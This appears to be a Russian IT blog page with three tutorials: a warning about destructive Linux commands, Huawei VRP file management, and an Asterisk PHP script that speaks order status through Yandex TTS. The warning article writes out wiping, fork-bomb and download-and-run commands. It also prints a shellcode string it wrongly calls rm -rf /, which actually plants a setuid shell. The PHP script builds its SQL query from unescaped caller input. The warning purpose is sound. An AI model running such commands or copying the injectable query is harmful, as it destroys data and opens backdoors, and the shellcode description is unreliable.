По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие наши статьи:
img
Привет! Еcли ты только начал осваивать Linux, то просто обязан знать то, что я сейчас тебе расскажу. В Linux есть целых 10 команд, которые ты никогда не должен вводить в командную строку или советовать кому-нибудь это сделать. Это как непростительные заклятия, которые не должен произносить ни один волшебник. Их запуск может привести к самым негативным последствиям - безвозвратному удалению всей операционной системы или важных файлов, зацикливанию процессов и зависанию системы, заражению вредоносным кодом и другим неприятностям. Внимание! Эти команды действительно могут навредить твоей системе. Компания Мерион Нетворкс снимает с себя всякую ответственность за последствия, исполнения читателями данных команд. Материал носит исключительно ознакомительный характер. Дело в том, что Linux предполагает, что ты знаешь, что делаешь и, как правило, не спрашивает подтверждения прежде чем исполнить команду, даже если она может навредить. В Интернете часто подшучивают над новичками, которые просят помощи в настройке Linux, предлагая им ввести эти команды, а затем "ловят лулзы" от реакции человека, который сообщает, что все сломалось окончательно. Чтобы не стать жертвой таких "доброжелателей" и других "темных сил" читай нашу статью! Необратимые И начнём мы с действительно "непростительных заклятий", последствия которых невозможно обратить: rm –rf / - Удаляет всё, до чего только может добраться. Короче - “Avada Kedavra!” в Linux’е. Чтобы лучше разобраться как она действует, давайте разобьём её на составляющие: rm - команда для удаления файлов -r - рекурсивное удаление всех файлов внутри папки, включая вложенные папки и файлы в них -f - означает “force”, не спрашивает подтверждения для выполнения операции у пользователя / - “слэшом” обозначается корневая директория ОС, которая содержит в себе не только все файлы системы, но также и подключенные устройства, такие как удаленные директории (сетевые шары), USB-носители и другое. Таким образом, система поймёт данную команду как: “Удали мне всё, что можно и начни с корневой директории!” В GNU/Linux, ОС Solaris и FreeBSD есть механизмы защиты, от ввода данной команды. Например, в GNU система не даёт ввести эту команду, так как в конфиге активирована функция --preserve-root. Однако, если добавить к ней ключ --no-preserve-root, то команда всё же сработает. Существует несколько вариаций для маскировки этой команды, так что запомни их и не спеши слепо вводить в консоль: mkdir test cd test touch ./-r touch ./-f su rm * / Делает то же самое, но усыпляет бдительность, создавая ненужную директорию “test” char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”; 16-ричное представление команды rm –rf /, его система тоже поймёт. sudo dd if=/dev/zero of=/dev/sda bs=8m - Заполняет начальные 40Мбайт (8m) жесткого диска, которые содержат важные данные структуры нулями. Что делает невозможным их восстановление и приводит к невозможности загрузки ОС. /dev/zero – это некое псевдоустройство, которое делает только одно – генерирует нули, а /dev/sda - это, как правило, устройство жёсткого диска. Командой dd мы как бы говорим системе: “Скопируй данные из генератора нулей и замени ею первые 40Мбайт на моём жестком диске!” Обратите внимание на sudo перед последующей командой. Это значит, что её можно исполнить только под пользователем root. Встречается ещё использование другого псевдоустройства - if=/dev/random. В отличие от /dev/zero он генерирует абсолютно рандомный, несвязный бред. Применяется в основном для генерации ключей. shred /dev/sda - Удалит все данные на жёстком диске. Команду можно прервать комбинацией Ctrl+C, но всё равно будет слишком поздно, чтобы восстановить критичные области. Кстати, на самом деле shred использует те же генераторы бреда /dev/random или /dev/urandom и начинает заполнять диск данными от них. mkfs.ext3 /dev/sda - Форматирование жесткого диска. По сути, эта команда создаёт новую файловую систему ext3 (или ещё бывает ext4) на жестком диске, предварительно стирая с него все данные. chmod -Rv 000 / - Отнимает все разрешения на все файлы и все папки в системе. После ввода этой команды систему нельзя будет даже перезагрузить. А если перезагрузить её вручную, то она всё равно уже не сможет запуститься нормально, так как запрашиваемые при загрузке компоненты будут недоступны. chown -R nobody:nobody / - Меняет владельца всех файлов и папок системы на “никого”. По сути, эффект от ввода этой команды таким же, как и от предыдущий. Поскольку никто не является владельцем ничего в системе, то и сделать он с ней ничего не сможет, даже запустить. Опасные, но обратимые :(){ :|:& };: - Логическая бомба (известная также как fork bomb), забивающая память системы, что в итоге приводит к её зависанию. Чтобы лучше понять, как она действует, давайте её немного преобразуем: fu() { fu | fu & } fu Этот Bash код создаёт функцию, которая запускает ещё два своих экземпляра, которые, в свою очередь снова запускают эту функцию и так до тех пор, пока этот процесс не займёт всю физическую память компьютера, и он просто не зависнет. Ни к чему фатальному это конечно не приведет, но перезагрузиться всё же придётся. команда > file.conf - Команда, которая может перезаписать важный конфигурационный файл. В Linux есть две функции, которые часть путают > - заменить и >> - добавить. Таким образом, если написать какую-команду и неправильно использовать функцию замены при редактировании конфигурационного файла, можно потерять его содержимое. А если написать > file.conf, то можно просто стереть содержимое файла. wget http://вредоносный_сайт -O- | sh - Скачивание и последующие исполнение какого-либо скрипта c сайта в Интернете. Если ресурс, с которого ты качаешь скрипт окажется вредоносным, то ты рискуешь заразить свою систему, ведь в скрипте может оказаться код, написанный злоумышленником, который с радостью исполнит твоя система. Так что внимательно относись к тому, что скачиваешь и запускаешь. chmod -R 777 / - Даёт разрешение всем пользователям системы читать, перезаписывать и запускать всё что угодно. Конечно, с такой системой можно жить и работать, но её безопасность будет под угрозой. Стоит отметить, что в различных дистрибутивах Linux есть механизмы защиты от ввода данных команд, где-то спрашивают пароль root, где-то запрашивают подтверждение на исполнение, где-то просят ввести специальные ключи. Ну вот и всё, теперь у тебя есть представление о командах Linux, которые никогда не стоит вводить в консоль. Мы также надеемся, что ты не будешь советовать неопытным пользователям их вводить. Надеемся эта статья была тебя полезна, а если ты знаешь ещё какие нибудь “непростительные заклинания” и опасные команды в Linux – пиши их в комментариях!
img
Telnet - это протокол прикладного уровня в модели TCP / IP. Этот протокол позволяет устройству (клиенту Telnet) подключаться к удаленному хосту (серверу Telnet), используя TCP в качестве протокола транспортного уровня. Обычно сервер Telnet прослушивает соединения Telnet на TCP-порту 23. Устройство, на котором работает VRP, может функционировать как клиент Telnet и сервер Telnet. Например, вы можете войти в систему и использовать его в качестве клиента Telnet для подключения к другому устройству через Telnet. На рисунке 1 показан такой сценарий, в котором R1 функционирует как сервер Telnet и клиент Telnet для ПК и R2 соответственно. Вход в устройство через Telnet Чтобы войти в устройство с ПК под управлением операционной системы Windows, выберите "Пуск"> "Выполнить" и выполните команду telnet ip-address. Например, чтобы войти в устройство с IP-адресом 10.137.217.177, введите команду telnet 10.137.217.177 и нажмите OK (рис. 2). В появившемся диалоговом окне входа в систему введите имя пользователя и пароль. Если аутентификация прошла успешно, отобразится приглашение командной строки <Huawei>. Управление файлами VRP использует файловую систему для управления всеми файлами и каталогами на устройстве. Базовые концепции Файловая система VRP используется для создания, удаления, изменения, копирования и отображения файлов и каталогов, которые хранятся во внешнем хранилище устройства, которое для маршрутизаторов Huawei представляет собой флэш-память и SD-карты, а для коммутаторов Huawei - флэш-память и CF-карты. Некоторые устройства также используют внешние USB-диски в качестве дополнительных устройств хранения. На внешнем запоминающем устройстве могут храниться файлы различных типов, включая файл конфигурации, файл системного программного обеспечения, файл лицензии и файл исправления (patch). Файл системного программного обеспечения является файлом операционной системы VRP и должен храниться в формате .cc в корневом каталоге внешнего запоминающего устройства. Содержимое этого файла загружается в память устройства и запускается при включении устройства. Резервное копирование файла конфигурации В некоторых сценариях, таких как обновление системы, может потребоваться создать резервную копию файла конфигурации устройства в определенной папке на внешнем запоминающем устройстве. В следующем примере описан процесс резервного копирования, предполагая, что вы уже вошли в R1 через ПК (рис. 3). Задание файла для резервного копирования Команда dir [/all] [filename | directory] отображает файлы по указанному пути. all указывает,что отображаются все файлы и каталоги в текущем пути, включая любые файлы в корзине. filename указывает файл. Directory задает каталог. Чтобы проверить файлы и каталоги в корневом каталоге флэш-памяти R1, выполните следующую команду: В этом примере будет создана резервная копия файла конфигурации vrpcfg.zip размером 1351 байт. Создание каталога Запустите команду mkdir directory, чтобы создать каталог. directory определяет имя создаваемого каталога (включая путь к нему). Чтобы создать каталог backup в корневом каталоге (root) флэш-памяти устройства, выполните следующую команду: Копирование и переименование файла конфигурации Запустите команду copy source-filename destination-filename, чтобы скопировать файл. source-filename (имя-источника) указывает путь и имя исходного файла. destination-filename (имя-назначения) указывает путь и имя файла назначения. Чтобы скопировать файл конфигурации vrpcfg.zip в каталог backup и переименовать файл в vrpcfgbak.zip, выполните следующую команду: Проверьте, что файл был скопирован. Выполните команду cd directory, чтобы изменить текущий рабочий каталог. Чтобы проверить, было ли успешно выполнено резервное копирование файла конфигурации, выполните следующие команды: Выходные данные команды показывают, что каталог backup содержит файл vrpcfgbak.zip, что означает, что файл конфигурации vrpcfg.zip был скопирован. Передача файлов TFTP Trivial File Transfer Protocol (TFTP) - это простой протокол прикладного уровня в модели TCP / IP, используемый для передачи файлов. Он использует UDP в качестве протокола транспортного уровня с портом 69. TFTP работает в модели клиент/сервер. Маршрутизаторы и коммутаторы Huawei работают только как клиенты TFTP. На рис. 4 ПК функционирует как сервер TFTP, а маршрутизатор - как клиент TFTP. TFTP используется для передачи файла системного программного обеспечения VRP с ПК на маршрутизатор. Команда tftp tftp-server {get / put} source-filename [destination-filename] настраивает TFTP для передачи файлов. tftp-server задает IP-адрес сервера TFTP. get указывает, что файл должен быть загружен с сервера TFTP на клиент TFTP. put указывает, что файл должен быть загружен с клиента TFTP на сервер TFTP. source-filename указывается имя файла-источника. destination-filename указывает имя файла назначения. Чтобы загрузить файл системного программного обеспечения VRP devicesoft.cc с компьютера на маршрутизатор выполните следующую команду: TFTP прост в реализации и использовании, но не обеспечивает никакой безопасности (например, он не проверяет учетные данные пользователя или не шифрует данные). Любой желающий может загружать или скачивать файлы на серверы TFTP или с них, что делает TFTP подходящим для передачи файлов только в защищенных сетевых средах. Для повышения безопасности используйте FTP или SFTP. FTP Подобно TFTP, протокол передачи файлов (FTP) является протоколом прикладного уровня в модели TCP / IP. Он использует TCP в качестве протокола транспортного уровня с портом 21. Маршрутизаторы и коммутаторы Huawei, на которых работает VRP, могут функционировать как FTP-серверы, а также как FTP-клиенты. По сравнению с TFTP FTP более безопасен, так как для установки FTP-соединения требуются учетные данные пользователя. Кроме того, FTP позволяет удалять файлы, а также создавать и удалять каталоги файлов на FTP-сервере. На рисунке 5 ПК функционирует как FTP-сервер, а маршрутизатор - как FTP-клиент. FTP используется для передачи файла системного программного обеспечения VRP с ПК на маршрутизатор. Запустите команду ftp host-ip [port-number], чтобы создать FTP-соединение. hostip указывает IP-адрес FTP-сервера. port-number указывает номер порта FTP-сервера. По умолчанию используется TCP-порт 21. Запустите команду dir, чтобы проверить список файлов на FTP-сервере. Подобно TFTP, FTP использует ключевые слова get и put: get в команде get source-filename [destination-filename] указывает, что файл должен быть загружен с FTP-сервера на FTP-клиент, и put в команде put source-filename [destinationfilename] указывает, что файл должен быть загружен с FTP-клиента на FTP-сервер. В этом примере команда get vrpsoft.cc devicesoft.cc запускается для загрузки файла программного обеспечения системы VRP vrpsoft.cc с FTP-сервера (ПК) на FTP-клиент (маршрутизатор) и переименования файла devicesoft.cc. FTP передает данные в виде открытого текста. Для повышения безопасности используйте Secure File Transfer Protocol (SFTP) для передачи файлов. SFTP шифрует данные и защищает целостность передаваемых данных. Удаление файла Возможно, вам придется время от времени удалять файлы, чтобы освободить место для хранения. Для этого выполните команду delete [/unreserved] [/force] filename. /unreserved указывает, что файл, подлежащий удалению, не может быть восстановлен. / force указывает, что для удаления указанного файла подтверждение не требуется. filename указывает имя файла, подлежащего удалению. Если параметр / unreserved не настроен, файл, подлежащий удалению, перемещается в корзину и может быть восстановлен с помощью команды undelete. Файл по-прежнему будет занимать место для хранения внутри корзины. Команда reset recycle-bin удаляет все файлы в корзине. После удаления файлов из корзины они не могут быть восстановлены. Чтобы окончательно удалить файл, например abcd.zip, выполните следующие операции: Настройка файла запуска системы Файлы запуска включают файл системного программного обеспечения и другие файлы, загруженные с внешнего запоминающего устройства в память для запуска устройства. Перед установкой следующего файла запуска выполните команду display startup, чтобы проверить файлы запуска, используемые для следующего запуска (next startup). Вывод команды показывает, что файл системного программного обеспечения software.cc будет использоваться для следующего запуска устройства. Команда startup system-software system-file устанавливает файл системного программного обеспечения для следующего запуска. system-file указывает файл. Чтобы использовать файл devicesoft.cc для следующего запуска, выполните следующую команду: Чтобы проверить, вступил ли этот параметр в силу, выполните команду display startup Вывод команды показывает, что файл системного программного обеспечения для следующего запуска был установлен в devicesoft.cc.
img
Сегодня хотим рассказать про любопытный сценарий, которой наверняка может быть полезен в сфере E-commerce. Речь пойдет про автоматизацию клиентского обслуживания, а именно: /p> Клиент звонит в интернет – магазин и ему предлагают ввести номер заказа; Введенные абонентом значения по DTMF передаются в AGI скрипт; По номеру заказа, мы формируем SQL – запрос к базе данных, где храним информацию о заказах. Из соответствующей таблицы мы получаем статус заказа и имя клиента; Мы формируем строку, которую необходимо озвучить клиенту и отправляем ее на аудио-генерацию в сторону API Yandex.SpeechKit (TTS технология – text to speech); Получаем аудио файл от Yandex, декодируем его в нужный нам формат (.wav, 8k) и воспроизводим клиенту; Удаляем воспроизведенный файл и завершаем звонок клиента; На наш взгляд это любопытная автоматизация. Приступаем к настройке? :) Получение API - токена Yandex.SpeechKit Для знакомства с технологией Яндекс предоставляет бесплатный тестовый период в 1 месяц с момента отправки первого запроса. После этого, чтобы продолжить использование Yandex. SpeechKit Cloud нужно заключить договор. Подробности условия использования можно прочитать здесь. Первым делом перейдите в кабинет разработчика по ссылке https://developer.tech.yandex.ru и нажмите Получить ключ: Имя ключа - введите имя для ключа. Например, Asterisk + TTS; Подключение - выберите из списка SpeechKit Cloud; Запоминаем значение, которое выделено красным на скриншоте выше – это и есть ваш токен. Переходим к настройке AGI – скрипта. Создаем таблицу с заказами Создадим SQL – таблицу, в которой будем хранить данные о заказах. В лабораторных целях, мы развернем ее на том же хосте, что и IP – АТС Asterisk (+ это снизит задержку и процессинг по времени). Итак, вводим следующие команды в консоли сервера (предварительно подключитесь по SSH): use asteriskcdrdb; CREATE TABLE zakazy(name varchar(20),phone varchar(20),nomerzakaza varchar(20),status varchar(20)); INSERT INTO zakazy (name, phone, nomerzakaza, status) VALUES ("Александр", "79257777777", 300388, "Отправлен"); INSERT INTO zakazy (name, phone, nomerzakaza, status) VALUES ("Иван", "79251111111", 476656, "Оплачен"); INSERT INTO zakazy (name, phone, nomerzakaza, status) VALUES ("Сергей", "79252222222", 0089822, "Доставлен"); Мы создали и наполнили таблицу. Теперь необходимо создать пользователя, который сможет иметь SELECT – доступ к таблице: CREATE USER 'логин_mysql'@'localhost' IDENTIFIED BY 'пароль_mysql'; GRANT SELECT ON asteriskcdrdb.zakazy TO 'логин_mysql'; Запомните ваш логин и пароль и переходите к следующему шагу – адаптации скрипта AGI. Традиционно, комментарии к коду после двойного слеша //: AGI - скрипт Ниже представлена структура скрипта: #!/usr/bin/php -q <?php error_reporting(0); require('phpagi.php'); $agi = new AGI(); $result = $agi->get_data('custom/generate', 6000, 10); //принимаем DTMF от клиента; $number= $result['result']; //записываем в переменную введенный клиентом номер заказа; $hostname = "localhost"; // у нас localhost. У вас может быть IP адрес сервера, на котором хранится БД с заказами (настройте предварительно pg_hba.conf на удаленном хосте); $username = "логин_mysql"; // логин, который вы создали этапом ранее; $password = "пароль_mysql"; // пароль, который вы создали этапом ранее; $dbName = "asteriskcdrdb"; mysql_connect($hostname,$username,$password) OR DIE("Не могу создать соединение "); mysql_select_db($dbName) or die(mysql_error()); $query = "SELECT * FROM zakazy WHERE `nomerzakaza`='$number';"; // подключаемся и парсим данные по номеру заказа; $res=mysql_query($query) or die(mysql_error()); while ($row = mysql_fetch_assoc($res)) { $status = $row['status']; $name = $row['name']; // имя и статус, полученные из SQL пишем в переменные; }; $str = 'Дорогой '.$name.'! Статус вашего заказа '.$status.' Спасибо за обращение, всего доброго!'; // формируем строку, которую необходимо синтезировать; $qs = http_build_query(array("format" => "wav","lang" => "ru-RU","speaker" => "jane","key" => "ваш_токен","emotion" => "good", "text" => $str)); //описываем переменные, которые будем отправлять в сторону API Яндекса. Вы можете регулировать формат файла, локаль, спикера (мужской или женский голоса) и эмоциональный окрас. Заменить "ваш_токен" на ключ, полученный от API Yandex. SpeechKit Cloud; $ctx = stream_context_create(array("http"=>array("method"=>"GET","header"=>"Referer: "))); $soundfile = file_get_contents("https://tts.voicetech.yandex.net/generate?".$qs, false, $ctx); $file = fopen("file1.wav", "w"); fwrite($file, $soundfile); fclose($file); // получаем аудио файл (сохраняем его как file1.wav); shell_exec('sox -t raw -r 48k -e signed-integer -b 16 -c 1 file1.wav -t wav -r 8k -c 1 /var/lib/asterisk/sounds/ru/custom/output1.wav'); // выполняем преобразование аудио в нужный для Asterisk аудио-формат и копируем его в директорию /var/lib/asterisk/sounds/ru/custom/; shell_exec('chown asterisk:asterisk /var/lib/asterisk/sounds/ru/custom/output1.wav'); shell_exec('chmod 775 /var/lib/asterisk/sounds/ru/custom/output1.wav'); // даем файлу нужные пермишны; $agi->exec('Playback',"custom/output1"); // передаем в AGI команду проиграть полученный аудио – файл; shell_exec('rm -f /var/lib/asterisk/sounds/ru/custom/output1.wav'); shell_exec('rm -f file1.wav'); // удаляем оба файла; Скачать скрипт AGI После загрузки файла, сохраните его с расширением .php Сохраните скрипт под именем tts.php в директории /var/lib/asterisk/agi-bin и дайте следующие команды в консоль сервера: dos2unix /var/lib/asterisk/agi-bin/tts.php chown asterisk:asterisk /var/lib/asterisk/agi-bin/tts.php chmod 775 /var/lib/asterisk/agi-bin/tts.php Адаптируем функционал в «продакшн» Итак, первым делом, открываем файл /etc/asterisk/extensions_custom.conf для редактирования и добавляем в него следующую запись: [tts_menu] exten => s,1,Answer() exten => s,2,AGI(tts.php) Очень хорошо. Сделаем вызов кастомного контекста из FreePBX. Для этого воспользуемся модулем Custom Destinations. Переходим по пути Admin → Custom Destinations и нажимаем Add Destination: Нажимаем Submit и Apply Config. Мы хотим чтобы из главного IVR – меню клиент при нажатии 4 мог бы узнать статус своего заказа. Переходим в главный IVR и в секции IVR Entries добавляем следующее: Готово. Если что – либо не получилось, напишите нам в комментариях, постараемся помочь :)
ВЕСЕННИЕ СКИДКИ
40%
50%
60%
До конца акции: 30 дней 24 : 59 : 59